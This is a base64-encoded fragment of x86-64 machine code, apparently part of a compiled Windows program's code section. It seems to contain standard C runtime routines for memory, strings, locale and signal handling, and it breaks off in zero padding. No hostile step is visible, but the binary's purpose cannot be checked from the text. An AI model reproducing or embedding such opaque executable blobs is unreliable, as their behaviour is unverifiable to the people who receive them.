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Dx+EAAAAAABmZmaQZmaQSYH5ACAAAHNCSItECvhMi1QK8EiD6SBIiUEYTIlREEiLRAoITIsUCkn/yUiJQQhMiRF11UmD4B/pc////2ZmZmYPH4QAAAAAAGaQSIH6APD//3e1uCAAAABIgemAAAAADxgECg8YRApA/8h17EiBwQAQAAC4QAAAAEyLTAr4TItUCvBMD8NJ+EwPw1HwTItMCuhMi1QK4EwPw0noTA/DUeBMi0wK2EyLVArQSIPpQEwPw0kYTA/DURBMi0wKCEyLFAr/yEwPw0kITA/DEXWqSYHoABAAAEmB+AAQAAAPg3H////wgAwkAOm6/v//SIXJD4TkAwAAU0iD7CBIi9lIi0kI6PrJ//9Ii0sQ6PHJ//9Ii0sY6OjJ//9Ii0sg6N/J//9Ii0so6NbJ//9Ii0sw6M3J//9Iiwvoxcn//0iLS0DovMn//0iLS0jos8n//0iLS1Doqsn//0iLS1joocn//0iLS2DomMn//0iLS2joj8n//0iLSzjohsn//0iLS3Dofcn//0iLS3jodMn//0iLi4AAAADoaMn//0iLi4gAAADoXMn//0iLi5AAAADoUMn//0iLi5gAAADoRMn//0iLi6AAAADoOMn//0iLi6gAAADoLMn//0iLi7AAAADoIMn//0iLi7gAAADoFMn//0iLi8AAAADoCMn//0iLi8gAAADo/Mj//0iLi9AAAADo8Mj//0iLi9gAAADo5Mj//0iLi+AAAADo2Mj//0iLi+gAAADozMj//0iLi/AAAADowMj//0iLi/gAAADotMj//0iLiwABAADoqMj//0iLiwgBAADonMj//0iLixABAADokMj//0iLixgBAADohMj//0iLiyABAADoeMj//0iLiygBAADobMj//0iLizABAADoYMj//0iLizgBAADoVMj//0iLi0ABAADoSMj//0iLi0gBAADoPMj//0iLi1ABAADoMMj//0iLi3ABAADoJMj//0iLi3gBAADoGMj//0iLi4ABAADoDMj//0iLi4gBAADoAMj//0iLi5ABAADo9Mf//0iLi5gBAADo6Mf//0iLi2gBAADo3Mf//0iLi6gBAADo0Mf//0iLi7ABAADoxMf//0iLi7gBAADouMf//0iLi8ABAADorMf//0iLi8gBAADooMf//0iLi9ABAADolMf//0iLi6ABAADo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